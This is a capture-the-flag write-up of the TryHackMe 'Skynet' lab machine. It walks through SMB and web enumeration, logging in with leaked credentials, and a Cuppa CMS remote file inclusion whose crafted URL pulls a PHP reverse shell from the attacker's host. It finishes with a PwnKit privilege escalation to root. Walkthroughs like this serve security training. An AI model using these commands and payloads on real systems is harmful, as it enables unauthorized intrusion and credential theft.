Skynet machine on THM

A vulnerable Terminator themed Linux machine perfect for exploring SMB vulnerabilities and enumeration techniques.
Information gathering
Enumeration
nmap
Command:
nmap -sC -sV -A [machineIp]
Results:
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE CAPA SASL UIDL TOP PIPELINING RESP-CODES
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: have post-login ID more listed capabilities Pre-login OK IMAP4rev1 ENABLE LOGIN-REFERRALS SASL-IR LOGINDISABLEDA0001 IDLE LITERAL+
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Smbmap
Command:
smbmap -u guest -d SKYNET\x00 -H 10.10.19.223 -P 139
Results:
[+] Guest session       IP: 10.10.19.223:139    Name: 10.10.19.223                                     
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        anonymous                                               READ ONLY       Skynet Anonymous Share
        milesdyson                                              NO ACCESS       Miles Dyson Personal Share
        IPC$                                                    NO ACCESS       IPC Service (skynet server (Samba, Ubuntu))
Smbclient
Command:
smbclient -L 10.10.19.223 #list shares
Results:
Password for [WORKGROUP\rizi85]:
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk      Skynet Anonymous Share
        milesdyson      Disk      Miles Dyson Personal Share
        IPC$            IPC       IPC Service (skynet server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
        Server               Comment
        ---------            -------
        Workgroup            Master
        ---------            -------
        WORKGROUP            SKYNET
dirb
Command:
dirb http://[machineIp]
Results:
---- Scanning URL: [http://10.10.19.223/](http://10.10.19.223/) ----
==> DIRECTORY: [http://10.10.19.223/admin/](http://10.10.19.223/admin/)
==> DIRECTORY: [http://10.10.19.223/config/](http://10.10.19.223/config/)
==> DIRECTORY: [http://10.10.19.223/css/](http://10.10.19.223/css/)
+ [http://10.10.19.223/index.html](http://10.10.19.223/index.html) (CODE:200|SIZE:523)
==> DIRECTORY: [http://10.10.19.223/js/](http://10.10.19.223/js/)
+ [http://10.10.19.223/server-status](http://10.10.19.223/server-status) (CODE:403|SIZE:277)
==> DIRECTORY: [http://10.10.19.223/squirrelmail/](http://10.10.19.223/squirrelmail/)
Exploitation
Foothold
- Smbclient - anonymous connect
Command:
smbclient //10.10.161.244/anonymous -U " "%" "
Results:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Nov 26 11:04:00 2020
  ..                                  D        0  Tue Sep 17 03:20:17 2019
  attention.txt                       N      163  Tue Sep 17 23:04:59 2019
  logs
- Get attention.txt and content of logs folder and view files content
attention.txt
cat attention.txt                         
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson
log1.txt
cat log1.txt    
cyborg007haloterminator
terminator22596
terminator219
terminator20
terminator1989
terminator1988
terminator168
...
Data exfiltration
- Using the data discovered on the scanning phase we can login into the email interface using
url: http://10.10.19.223/squirrelmail/ user: milesdyson pass: cyborg007haloterminator
- By checking email we will find an email containing samba password for milesdyson:
“We have changed your smb password after system malfunction.
Password: )s{A&2Z=F^n_E.B
“
- Connect to samba share using the password from email
    smbclient //10.10.161.244/milesdyson -U milesdyson
- 
    Check notes folder and retrieve important.txt file ```sh cat important.txt 
- Add features to beta CMS /45kra24zxs28v3yd
- Work on T-800 Model 101 blueprints
- 
    Spend more time with my wife ``` 
- Check the new discovered location from web: http://10.10.161.244/45kra24zxs28v3yd/administrator
- This location is the login page for Cuppa CMS vulnerable as per https://www.exploit-db.com/exploits/25971
- Using the vulnerable url from the exploit page you can remote execute code - insert a shell.php
    - Create a php reverse shell file called shell.php - use pentest monkey
- Start a local instance of the python server
        python3 -m http.server 809
- Craft the url to insert code: http://10.10.221.44/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.8.35.41:8090/shell.php
 
- Use reverse shell connection to grab the flag from /home/milesdyson: [UserFlag]
Privilege escalation
- Spawn an elevated shell using python
    python -c 'import pty; pty.spawn("/bin/bash")'
- Get linpeas.py script from https://github.com/carlospolop/PEASS-ng/releases
- Upload script on the victim machine using python http server
- Run script and check output. as per the results the Linux version is vulnerable to CVE:2021-4034 https://www.exploit-db.com/exploits/50689
- Change user to su milesdyson password Cyborg007haloterminator
- Get the C script on victim machine and compile it ```sh gcc exploit.c -o exploit #compile
.exploit #run the script ```
- Now you have root . Get the flag for root: [RootFlag]
 
       
     
     
    